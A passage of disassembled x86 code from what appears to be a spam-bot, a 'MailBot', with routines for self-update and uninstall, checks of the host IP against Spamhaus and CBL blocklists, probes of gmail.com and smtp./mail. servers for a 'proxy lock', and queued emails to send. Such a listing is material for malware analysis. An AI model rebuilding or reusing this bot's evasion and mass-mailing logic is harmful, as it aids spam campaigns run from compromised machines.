		jnb	short loc_4034FD
		mov	ecx, [ebx+8]
		xor	eax, eax
		lea	edi, [esp+90h+var_7F]
		stosb
		lea	edi, [esp+90h+var_7E]
		stosb
		lea	edi, [esp+90h+var_7D]
		stosb
		mov	eax, [esp+90h+var_7C]
		mov	edi, [esp+90h+var_74]
		mov	[ecx], eax
		add	ecx, 4
		mov	[ebx+8], ecx
		jmp	short loc_40351D
; ---------------------------------------------------------------------------


loc_4034FD:				; CODE XREF: sub_4033DA+FBj
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_40350A
		call	sub_40DCFC


loc_40350A:				; CODE XREF: sub_4033DA+129j
		push	esi
		push	ebx
		lea	eax, [esp+98h+var_70]
		push	eax
		lea	eax, [esp+9Ch+var_58]
		push	eax
		mov	eax, ebx
		call	sub_405BDD


loc_40351D:				; CODE XREF: sub_4033DA+121j
		mov	eax, ebx
		call	sub_4058DF
		mov	ecx, [edi+78h]
		cmp	eax, [ecx+8]
		jb	loc_40347B
		mov	esi, [ebp+arg_0]


loc_403533:				; CODE XREF: sub_4033DA+9Bj
		mov	eax, ebx
		call	sub_4058DF
		mov	ecx, [edi+78h]
		cmp	eax, [ecx+8]
		jbe	short loc_4035A9


loc_403542:				; CODE XREF: sub_4033DA+1CAj
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_40354F
		call	sub_40DCFC


loc_40354F:				; CODE XREF: sub_4033DA+16Ej
		mov	[esp+90h+var_5C], esi
		push	0FFFFFFFFh
		lea	esi, [esp+94h+var_60]
		mov	dword ptr [esp+94h+var_60], ebx
		call	sub_4068D9
		mov	ecx, [eax]
		test	ecx, ecx
		mov	esi, [eax+4]
		mov	[esp+90h+var_7C], ecx
		jnz	short loc_403578
		call	sub_40DCFC
		mov	ecx, [esp+90h+var_7C]


loc_403578:				; CODE XREF: sub_4033DA+193j
		cmp	esi, [ecx+8]
		jb	short loc_403582
		call	sub_40DCFC


loc_403582:				; CODE XREF: sub_4033DA+1A1j
		mov	esi, [esi]
		mov	eax, ebx
		mov	byte ptr [esi+4], 1
		call	sub_4058DF
		test	eax, eax
		jz	short loc_403597
		add	dword ptr [ebx+8], 0FFFFFFFCh


loc_403597:				; CODE XREF: sub_4033DA+1B7j
		mov	eax, ebx
		call	sub_4058DF
		mov	ecx, [edi+78h]
		cmp	eax, [ecx+8]
		ja	short loc_403542
		mov	esi, [ebp+arg_0]


loc_4035A9:				; CODE XREF: sub_4033DA+166j
		lea	ebx, [esi+1Ch]
		mov	eax, [ebx+4]
		cmp	eax, [ebx+8]
		mov	[esp+90h+var_7C], ebx
		mov	[esp+90h+var_70], eax
		jbe	short loc_4035C5
		call	sub_40DCFC
		mov	eax, [esp+90h+var_70]


loc_4035C5:				; CODE XREF: sub_4033DA+1E0j
		mov	[esp+90h+var_6C], ebx
		mov	[esp+90h+var_68], eax


loc_4035CD:				; CODE XREF: sub_4033DA+29Aj
		mov	eax, [ebx+8]
		cmp	[ebx+4], eax
		mov	[esp+90h+var_70], eax
		jbe	short loc_4035DE
		call	sub_40DCFC


loc_4035DE:				; CODE XREF: sub_4033DA+1FDj
		cmp	ebx, ebx
		jz	short loc_4035E7
		call	sub_40DCFC


loc_4035E7:				; CODE XREF: sub_4033DA+206j
		mov	eax, [esp+90h+var_70]
		cmp	[esp+90h+var_68], eax
		jz	loc_403679
		lea	esi, [esp+90h+var_6C]
		call	sub_409835
		mov	edi, eax
		call	sub_409835
		mov	ebx, eax
		call	sub_409835
		mov	[esp+90h+var_70], eax
		lea	eax, [esp+90h+var_50]
		mov	ecx, edi
		call	sub_405472
		mov	esi, eax
		lea	eax, [esp+90h+var_48]
		mov	ecx, ebx
		call	sub_405492
		mov	ecx, [esp+90h+var_70]
		mov	edi, eax
		lea	eax, [esp+90h+var_40]
		call	sub_405472
		push	dword ptr [esi+4]
		lea	ebx, [esp+94h+var_38]
		push	dword ptr [esi]
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		call	sub_406A1C
		mov	eax, [esp+0A8h+var_7C]
		mov	ecx, [esp+0A8h+var_68]
		add	esp, 18h
		cmp	ecx, [eax+8]
		jb	short loc_403664
		call	sub_40DCFC


loc_403664:				; CODE XREF: sub_4033DA+283j
		add	[esp+90h+var_68], 1Ch
		mov	edi, [esp+90h+var_74]
		mov	ebx, [esp+90h+var_7C]
		mov	esi, [ebp+arg_0]
		jmp	loc_4035CD
; ---------------------------------------------------------------------------


loc_403679:				; CODE XREF: sub_4033DA+215j
		lea	ebx, [esi+2Ch]
		mov	eax, ebx
		lea	esi, [edi+7Ch]
		call	sub_4057B6
		push	eax
		push	esi
		call	sub_40583B
		and	[esp+90h+var_7C], 0
		mov	eax, esi
		call	sub_4058AA
		test	eax, eax
		jbe	loc_40374D
		lea	eax, [edi+20h]
		add	edi, 4
		and	[esp+90h+var_74], 0
		mov	[esp+90h+var_70], eax
		mov	[esp+90h+var_6C], edi


loc_4036B4:				; CODE XREF: sub_4033DA+36Dj
		mov	eax, ebx
		call	sub_4057B6
		cmp	[esp+90h+var_7C], eax
		jb	short loc_4036C6
		call	sub_40DCFC


loc_4036C6:				; CODE XREF: sub_4033DA+2E5j
		mov	eax, [ebx+4]
		add	eax, [esp+90h+var_74]
		push	eax
		push	[esp+94h+var_7C]
		call	sub_4058C0
		push	eax
		call	sub_4081BF
		push	[esp+90h+var_70]
		lea	ecx, [esp+94h+var_30]
		call	sub_401C1E
		push	[esp+90h+var_7C]
		call	sub_4058C0
		mov	edi, eax
		and	[esp+90h+var_4], 0
		push	0FFFFFFFFh
		push	0
		push	[esp+98h+var_6C]
		lea	ecx, [edi+3Ch]
		call	sub_401315
		push	0FFFFFFFFh
		push	0
		lea	eax, [esp+98h+var_30]
		push	eax
		lea	ecx, [edi+58h]
		call	sub_401315
		or	[esp+90h+var_4], 0FFFFFFFFh
		push	0
		push	1
		lea	ecx, [esp+98h+var_30]
		call	sub_4013C4
		inc	[esp+90h+var_7C]
		add	[esp+90h+var_74], 1Ch
		mov	eax, esi
		call	sub_4058AA
		cmp	[esp+90h+var_7C], eax
		jb	loc_4036B4


loc_40374D:				; CODE XREF: sub_4033DA+2C1j
		push	[esp+90h+var_64]
		call	dword_41C06C	; RtlLeaveCriticalSection
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4033DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40376E	proc near		; DATA XREF: .vty:0041EB44o

var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_50		= dword	ptr -50h
var_8		= dword	ptr -8

		mov	eax, offset loc_41B627
		call	sub_41AE44
		sub	esp, 54h
		push	offset aUninstall ; "UNINSTALL"
		push	dword ptr [ebp+8]
		call	sub_40FAB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4037AA
		push	offset aUninstalling ; "Uninstalling\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		call	sub_4048E7
		jmp	short loc_4037EA
; ---------------------------------------------------------------------------


loc_4037AA:				; CODE XREF: sub_40376E+1Ej
		push	dword ptr [ebp+8]
		push	offset aUpdatingFromS ;	"Updating from %s\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		push	dword ptr [ebp+8]
		lea	ecx, [ebp-28h]
		call	sub_401C44
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-28h]
		call	sub_40499E
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	0
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4


loc_4037EA:				; CODE XREF: sub_40376E+3Aj
		push	offset aMailbotOnupdat ; "MailBot::onUpdate: trying to return?!"
		lea	ecx, [ebp-44h]
		call	sub_401C44
		lea	eax, [ebp-44h]
		push	eax
		lea	ecx, [ebp-60h]
		mov	dword ptr [ebp-4], 1
		call	sub_401C1E
		push	offset dword_41FF2C
		lea	eax, [ebp-60h]
		push	eax
		call	sub_4107BC
		int	3		; Trap to Debugger
		push	ecx
		push	ecx
		push	ebx
		push	ebp
		mov	ebp, [esp+64h+var_50]
		push	esi
		push	edi
		push	ebp
		push	offset aIdleD	; "IDLE: %d\n"
		mov	esi, ecx
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		push	0
		call	sub_40FDF8
		mov	ebx, dword_41C070
		add	esp, 10h
		mov	[esp+6Ch+var_5C], eax
		mov	[esp+6Ch+var_58], edx
		lea	edi, [esi+108h]


loc_403857:				; CODE XREF: sub_40376E+113j
		push	edi
		call	ebx	; RtlEnterCriticalSection
		cmp	dword ptr [esi+0DCh], 0
		jg	short loc_40386C
		cmp	dword ptr [esi+100h], 0
		jz	short loc_403883


loc_40386C:				; CODE XREF: sub_40376E+F3j
		push	edi
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	0FFFFFFFFh
		push	dword ptr [esi+0D8h]
		call	dword_41C084	; WaitForSingleObject
		jmp	short loc_403857
; ---------------------------------------------------------------------------


loc_403883:				; CODE XREF: sub_40376E+FCj
		push	edi
		call	dword_41C06C	; RtlLeaveCriticalSection
		cmp	dword ptr [esi+0A0h], 0
		jz	short loc_4038AA
		push	offset aGotSomeEmailsT ; "Got some emails to return, not waiting\n"...
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		jmp	short loc_4038EB
; ---------------------------------------------------------------------------


loc_4038AA:				; CODE XREF: sub_40376E+123j
		push	0
		call	sub_40FDF8
		pop	ecx
		mov	ecx, [esp+18h+var_8]
		sub	ecx, eax
		add	ebp, ecx
		test	ebp, ebp
		jle	short loc_4038EB
		add	esi, 0D0h


loc_4038C4:				; CODE XREF: sub_40376E+17Bj
		cmp	ebp, 3Ch
		jge	short loc_4038CD
		mov	edi, ebp
		jmp	short loc_4038D0
; ---------------------------------------------------------------------------


loc_4038CD:				; CODE XREF: sub_40376E+159j
		push	3Ch
		pop	edi


loc_4038D0:				; CODE XREF: sub_40376E+15Dj
		mov	eax, edi
		imul	eax, 3E8h
		push	eax
		call	dword_41C090	; Sleep
		push	esi
		call	sub_40B774
		sub	ebp, edi
		test	ebp, ebp
		jg	short loc_4038C4


loc_4038EB:				; CODE XREF: sub_40376E+13Aj
					; sub_40376E+14Ej
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn	4
sub_40376E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		mov	esi, [ebp+8]
		push	esi
		push	offset aQuitD	; "QUIT: %d\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_403922
		push	0
		call	dword_41C100	; ExitProcess


loc_403922:				; CODE XREF: .vty:00403918j
		imul	esi, 3E8h
		push	esi
		call	dword_41C090	; Sleep
		push	0
		lea	ecx, [ebp-1Ch]
		mov	dword ptr [ebp-4], 0Fh
		call	sub_401564
		push	offset dword_41FF2C
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4107BC
		int	3		; Trap to Debugger
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		mov	eax, ebx
		mov	esi, ecx
		call	sub_4057B6
		push	eax
		push	offset aPutfdomainsD ; "PUTFDOMAINS %d\n"
		call	sub_4024A7
		push	eax
		push	5
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		lea	edi, [esi+0B8h]
		push	edi
		call	dword_41C070	; RtlEnterCriticalSection
		lea	eax, [esi+0A4h]
		call	sub_4056BC
		push	edi
		call	dword_41C06C	; RtlLeaveCriticalSection
		pop	edi
		pop	esi
		pop	ebx
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_40399B	proc near		; CODE XREF: sub_405089+6Ap
		mov	eax, offset loc_41B2AC
		call	sub_41AE44
		sub	esp, 60h
		or	dword ptr [ebp-6Ch], 0FFFFFFFFh
		push	ebx
		push	esi
		push	edi
		lea	esi, [ebp-68h]
		call	sub_4012E2
		xor	ebx, ebx
		push	offset aGmail_com ; "gmail.com"
		lea	ecx, [ebp-30h]
		mov	[ebp-4], ebx
		call	sub_401C44
		lea	eax, [ebp-4Ch]
		push	eax
		lea	ecx, [ebp-30h]
		mov	byte ptr [ebp-4], 1
		call	sub_40D228
		pop	ecx
		mov	edi, eax
		lea	eax, [ebp-6Ch]
		mov	byte ptr [ebp-4], 2
		call	sub_40CCCC
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	1
		lea	ecx, [ebp-4Ch]
		setz	byte ptr [ebp-11h]
		call	sub_4013C4
		push	ebx
		push	1
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		cmp	[ebp-11h], bl
		jz	short loc_403A23


loc_403A0A:				; CODE XREF: sub_40399B+8Bj
		lea	eax, [ebp-6Ch]
		call	sub_40CCB1
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, ebx
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403A23:				; CODE XREF: sub_40399B+6Dj
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_403A0A
sub_40399B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A28	proc near		; CODE XREF: sub_405089+73p

var_108		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		and	[ebp+var_4], 0
		push	ebx
		xor	ebx, ebx
		cmp	dword ptr [eax+1Ch], 10h
		push	esi
		jb	short loc_403A44
		mov	eax, [eax+8]
		jmp	short loc_403A47
; ---------------------------------------------------------------------------


loc_403A44:				; CODE XREF: sub_403A28+15j
		add	eax, 8


loc_403A47:				; CODE XREF: sub_403A28+1Aj
		push	eax
		call	dword_41C200	; inet_addr
		movzx	ecx, al
		push	ecx
		movzx	ecx, ah
		push	ecx
		mov	ecx, eax
		shr	ecx, 10h
		and	ecx, 0FFh
		push	ecx
		shr	eax, 18h
		push	eax
		push	offset aD_D_D_D_sblXbl ; "%d.%d.%d.%d.sbl-xbl.spamhaus.org"
		mov	esi, 100h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		call	sub_40D9FB
		add	esp, 1Ch
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	esi
		push	1
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_40D772	; DnsQuery_A
		test	eax, eax
		jnz	loc_403B2C
		mov	esi, [ebp+var_4]
		jmp	short loc_403B1C
; ---------------------------------------------------------------------------


loc_403AA4:				; CODE XREF: sub_403A28+F6j
		lea	eax, [ebp+var_108]
		push	eax
		push	dword ptr [esi+4]
		call	sub_40FAB0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403B1A
		mov	eax, [esi+18h]
		cmp	eax, 200007Fh
		jz	short loc_403B02
		cmp	eax, 400007Fh
		jz	short loc_403AF8
		cmp	eax, 500007Fh
		jz	short loc_403AF8
		cmp	eax, 600007Fh
		jz	short loc_403AF8
		push	eax
		call	dword_41C1FC	; inet_ntoa
		push	eax
		push	offset aStrangeRblReco ; "Strange RBL record %s\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		jmp	short loc_403B1A
; ---------------------------------------------------------------------------


loc_403AF8:				; CODE XREF: sub_403A28+A0j
					; sub_403A28+A7j ...
		or	ebx, 4
		push	offset aXblListed_ ; "XBL listed.\n"
		jmp	short loc_403B0A
; ---------------------------------------------------------------------------


loc_403B02:				; CODE XREF: sub_403A28+99j
		or	ebx, 2
		push	offset aSblListed_ ; "SBL listed.\n"


loc_403B0A:				; CODE XREF: sub_403A28+D8j
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx


loc_403B1A:				; CODE XREF: sub_403A28+8Fj
					; sub_403A28+CEj
		mov	esi, [esi]


loc_403B1C:				; CODE XREF: sub_403A28+7Aj
		test	esi, esi
		jnz	short loc_403AA4
		push	1
		push	[ebp+var_4]
		call	sub_40D778	; DnsRecordListFree
		jmp	short loc_403B41
; ---------------------------------------------------------------------------


loc_403B2C:				; CODE XREF: sub_403A28+71j
		push	offset aNotOnRbl_LetSR ; "Not on RBL. Let's rock!\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx


loc_403B41:				; CODE XREF: sub_403A28+102j
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_403A28	endp


; =============== S U B	R O U T	I N E =======================================



sub_403B47	proc near		; CODE XREF: sub_405089+7Ap
		mov	eax, offset loc_41B28A
		call	sub_41AE44
		sub	esp, 3Ch
		push	ebx
		push	esi
		xor	ebx, ebx
		push	ebx
		lea	ecx, [ebp-28h]
		mov	dword ptr [ebp-10h], 0Fh
		call	sub_401564
		mov	[ebp-4], ebx
		cmp	[edi+50h], ebx
		jnz	short loc_403B8D


loc_403B70:				; CODE XREF: sub_403B47+12Aj
		xor	esi, esi


loc_403B72:				; CODE XREF: sub_403B47+B6j
		push	ebx
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_403B8D:				; CODE XREF: sub_403B47+27j
		lea	eax, [ebp-44h]
		lea	esi, [edi+3Ch]
		push	eax
		mov	ecx, esi
		call	sub_40D228
		pop	ecx
		push	0FFFFFFFFh
		push	ebx
		push	eax
		lea	ecx, [ebp-28h]
		mov	byte ptr [ebp-4], 1
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-44h]
		mov	[ebp-4], bl
		call	sub_4013C4
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		call	sub_403C76
		test	al, al
		jz	short loc_403C02
		cmp	dword ptr [ebp-10h], 10h
		mov	eax, [ebp-24h]
		jnb	short loc_403BD4


loc_403BD1:				; CODE XREF: sub_403B47+E6j
		lea	eax, [ebp-24h]


loc_403BD4:				; CODE XREF: sub_403B47+88j
					; sub_403B47+EBj
		push	eax
		push	offset aProxyLockFound ; "Proxy	lock found: %s\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		push	0FFFFFFFFh
		push	ebx
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [edi+58h]
		call	sub_401315
		push	8
		pop	esi
		jmp	loc_403B72
; ---------------------------------------------------------------------------


loc_403C02:				; CODE XREF: sub_403B47+7Fj
		push	offset aSmtp_	; "smtp."
		lea	ecx, [ebp-28h]
		call	sub_4013A7
		push	0FFFFFFFFh
		mov	eax, esi
		push	ebx
		lea	esi, [ebp-28h]
		call	sub_401F95
		mov	eax, esi
		push	eax
		push	edi
		call	sub_403C76
		test	al, al
		jz	short loc_403C34


loc_403C29:				; CODE XREF: sub_403B47+113j
		cmp	dword ptr [ebp-10h], 10h
		jb	short loc_403BD1
		mov	eax, [ebp-24h]
		jmp	short loc_403BD4
; ---------------------------------------------------------------------------


loc_403C34:				; CODE XREF: sub_403B47+E0j
		push	offset aMail_	; "mail."
		lea	ecx, [ebp-28h]
		call	sub_4013A7
		push	0FFFFFFFFh
		push	ebx
		lea	eax, [edi+3Ch]
		lea	esi, [ebp-28h]
		call	sub_401F95
		mov	eax, esi
		push	eax
		push	edi
		call	sub_403C76
		test	al, al
		jnz	short loc_403C29
		push	offset aNoProxyLockFou ; "No proxy lock	found\n"
		call	sub_4024A7
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		pop	ecx
		pop	ecx
		jmp	loc_403B70
sub_403B47	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C76	proc near		; CODE XREF: sub_403B47+78p
					; sub_403B47+D9p ...
		mov	eax, offset loc_41B270
		call	sub_41AE44
		sub	esp, 60h
		push	ebx
		xor	ebx, ebx
		inc	ebx
		test	byte ptr dword_424EA8, bl
		push	esi
		push	edi
		jnz	short loc_403CA7
		or	dword_424EA8, ebx
		push	offset aAbcdefghijklmn ; "abcdefghijklmnopqrstuvwxyz"
		call	sub_40D970
		pop	ecx
		mov	dword_424EA4, eax


loc_403CA7:				; CODE XREF: sub_403C76+19j
		or	dword ptr [ebp-6Ch], 0FFFFFFFFh
		lea	esi, [ebp-68h]
		call	sub_4012E2
		push	0Fh
		pop	esi
		xor	edi, edi
		mov	[ebp-4], edi
		push	edi
		lea	ecx, [ebp-4Ch]
		mov	[ebp-34h], esi
		call	sub_401564
		push	edi
		lea	ecx, [ebp-30h]
		mov	[ebp-18h], esi
		call	sub_401564
		mov	byte ptr [ebp-4], 2
		call	sub_40FA86
		mov	edi, eax
		and	edi, 80000007h
		jns	short loc_403CEB
		dec	edi
		or	edi, 0FFFFFFF8h
		inc	edi


loc_403CEB:				; CODE XREF: sub_403C76+6Ej
		add	edi, 3
		jz	short loc_403D16


loc_403CF0:				; CODE XREF: sub_403C76+9Ej
		dec	edi
		call	sub_40FA86
		xor	edx, edx
		div	dword_424EA4
		lea	esi, [ebp-4Ch]
		mov	al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz"
		mov	[ebp-14h], al
		push	dword ptr [ebp-14h]
		call	sub_40140F
		test	edi, edi
		jnz	short loc_403CF0


loc_403D16:				; CODE XREF: sub_403C76+78j
		push	40h
		lea	esi, [ebp-4Ch]
		call	sub_40140F
		mov	eax, [ebp+8]
		push	0FFFFFFFFh
		add	eax, 3Ch
		push	0
		mov	[ebp-14h], eax
		call	sub_401F95
		call	sub_40FA86
		mov	edi, eax
		and	edi, 80000007h
		jns	short loc_403D46
		dec	edi
		or	edi, 0FFFFFFF8h
		inc	edi


loc_403D46:				; CODE XREF: sub_403C76+C9j
		add	edi, 3
		jz	short loc_403D71


loc_403D4B:				; CODE XREF: sub_403C76+F9j
		dec	edi
		call	sub_40FA86
		xor	edx, edx
		div	dword_424EA4
		lea	esi, [ebp-30h]
		mov	al, byte ptr aAbcdefghijklmn[edx] ; "abcdefghijklmnopqrstuvwxyz"
		mov	[ebp+8], al
		push	dword ptr [ebp+8]
		call	sub_40140F
		test	edi, edi
		jnz	short loc_403D4B


loc_403D71:				; CODE XREF: sub_403C76+D3j
		push	40h
		lea	esi, [ebp-30h]
		call	sub_40140F
		push	offset aGmail_com ; "gmail.com"
		mov	eax, esi
		push	eax
		call	sub_401C66
		mov	edi, [ebp+0Ch]
		lea	eax, [ebp-6Ch]
		call	sub_40CCCC
		call	sub_40D211
		test	al, al
		jnz	short loc_403DCD


loc_403D9C:				; CODE XREF: sub_403C76+16Aj
					; sub_403C76+180j
		push	0
		push	ebx
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		push	0
		push	ebx
		lea	ecx, [ebp-4Ch]
		call	sub_4013C4
		lea	eax, [ebp-6Ch]
		call	sub_40CCB1
		xor	al, al


loc_403DBC:				; CODE XREF: sub_403C76+1BCj
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_403DCD:				; CODE XREF: sub_403C76+124j
		push	dword ptr [ebp-14h]
		lea	eax, [ebp-6Ch]
		push	eax
		call	sub_40CE97
		call	sub_40D211
		test	al, al
		jz	short loc_403D9C
		lea	eax, [ebp-4Ch]
		push	eax
		lea	eax, [ebp-6Ch]
		push	eax
		call	sub_40CF4A
		call	sub_40D211
		test	al, al
		jz	short loc_403D9C
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-6Ch]
		push	eax
		call	sub_40CFFD
		call	sub_40D211
		test	al, al
		jnz	short loc_403E34
		mov	[ebp+0Bh], al


loc_403E11:				; CODE XREF: sub_403C76+1C9j
		push	0
		push	ebx
		lea	ecx, [ebp-30h]
		call	sub_4013C4
		push	0
		push	ebx
		lea	ecx, [ebp-4Ch]
		call	sub_4013C4
		lea	eax, [ebp-6Ch]
		call	sub_40CCB1
		mov	al, [ebp+0Bh]
		jmp	short loc_403DBC
; ---------------------------------------------------------------------------


loc_403E34:				; CODE XREF: sub_403C76+196j
		lea	ecx, [ebp-6Ch]
		call	sub_40D183
		mov	[ebp+0Bh], bl
		jmp	short loc_403E11
sub_403C76	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E41	proc near		; CODE XREF: sub_402F64+D4p
		mov	eax, offset loc_41B428
		call	sub_41AE44
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		push	0Fh
		pop	esi
		xor	edi, edi
		push	edi
		lea	ecx, [ebp-34h]
		mov	[ebp-1Ch], esi
		call	sub_401564
		mov	[ebp-4], edi
		push	edi
		lea	ecx, [ebp-70h]
		mov	[ebp-58h], esi
		call	sub_401564
		push	edi
		lea	ecx, [ebp-50h]
		mov	[ebp-38h], esi
		call	sub_401564
		push	edi
		lea	ecx, [ebp-8Ch]
		mov	[ebp-74h], esi
		call	sub_401564
		push	edi
		push	edi
		push	3
		push	edi
		mov	byte ptr [ebp-4], 3
		push	edi
		push	50h
		push	offset aCbl_abuseat_or ; "cbl.abuseat.org"
		push	dword_424E80
		mov	eax, offset asc_41E334 ; "*/*"
		mov	[ebp-9Ch], eax
		mov	[ebp-98h], edi
		mov	dword ptr [ebp-0B4h], offset aImageGif ; "image/gif"
		mov	dword ptr [ebp-0B0h], offset aImageXBitmap ; "image/x-bitmap"
		mov	dword ptr [ebp-0ACh], offset aImageJpeg	; "image/jpeg"
		mov	dword ptr [ebp-0A8h], offset aImagePjpeg ; "image/pjpeg"
		mov	[ebp-0A4h], eax
		mov	[ebp-0A0h], edi
		call	dword_41C1C0	; InternetConnectA
		mov	esi, eax
		cmp	esi, edi
		mov	[ebp-14h], esi
		jnz	short loc_403F1B
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aInternetconnec ; "InternetConnect: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		jmp	loc_4045CC
; ---------------------------------------------------------------------------


loc_403F1B:				; CODE XREF: sub_403E41+B7j
		push	edi
		push	4480200h
		lea	eax, [ebp-9Ch]
		push	eax
		push	edi
		push	edi
		push	offset aLookup_cgi ; "lookup.cgi"
		push	offset aGet	; "GET"
		push	esi
		call	dword_41C1C8	; HttpOpenRequestA
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_403F69
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpopenreques ; "HttpOpenRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		add	esp, 10h
		push	esi
		call	dword_41C1D0	; InternetCloseHandle
		jmp	loc_4045CC
; ---------------------------------------------------------------------------


loc_403F69:				; CODE XREF: sub_403E41+FEj
		push	offset aAcceptLanguage ; "Accept-Language: en\r\n"
		lea	ecx, [ebp-50h]
		call	sub_4013A7
		push	offset aAcceptEncoding ; "Accept-Encoding: gzip, deflate\r\n"
		lea	eax, [ebp-50h]
		push	eax
		call	sub_401C66
		cmp	dword ptr [ebp-38h], 10h
		mov	eax, [ebp-4Ch]
		jnb	short loc_403F90
		lea	eax, [ebp-4Ch]


loc_403F90:				; CODE XREF: sub_403E41+14Aj
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	ebx
		call	dword_41C1CC	; HttpSendRequestA
		test	eax, eax
		jnz	short loc_403FCF
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		push	offset aHttpsendreques ; "HttpSendRequest: %$\n"
		push	3
		call	sub_4024A7
		push	eax
		call	sub_40196F
		mov	esi, dword_41C1D0
		add	esp, 10h
		push	ebx
		call	esi	; InternetCloseHandle
		push	dword ptr [ebp-14h]
		call	esi	; InternetCloseHandle
		jmp	loc_4045CC
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_403E41+15Dj
		push	edi
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		push	20000013h
		push	ebx
		mov	dword ptr [ebp-10h], 4
		call	dword_41C1D8	; HttpQueryInfoA
		mov	eax, [ebp-18h]
		push	64h
		xor	edx, edx
		pop	ecx
		div	ecx
		cmp	eax, 2
		jnz	short loc_40403D
		lea	eax, [ebp-70h]
		call	sub_4053F0
		mov	esi, 800h
		jmp	short loc_404020
; ---------------------------------------------------------------------------


loc_404009:				; CODE XREF: sub_403E41+1F8j
		cmp	[ebp-10h], edi
		jbe	short loc_404056
		push	dword ptr [ebp-10h]
		lea	eax, [ebp-8D0h]
		push	eax
		lea	eax, [ebp-70h]
		call	sub_402039


loc_404020:				; CODE XREF: sub_403E41+1C6j
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		lea	eax, [ebp-8D0h]
		push	eax
		push	ebx
		mov	[ebp-10h], esi
		call	dword_41C1C4	; InternetReadFile
		cmp	eax, 1
		jz	short loc_404009
		jmp	short loc_404056
; ---------------------------------------------------------------------------


loc_40403D:				; CODE XREF: sub_403E41+1B7j
		push	dword ptr [ebp-18h]
		push	offset aRblServerRespo ; "RBL server response code: %d\n"
		call	sub_4024A7
		push	eax
		push	3
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_404056:				; CODE XREF: sub_403E41+1CBj
					; sub_403E41+1FAj
		push	ebx
		mov	ebx, dword_41C1D0
		call	ebx	; InternetCloseHandle
		push	6
		call	dword_41C090	; Sleep
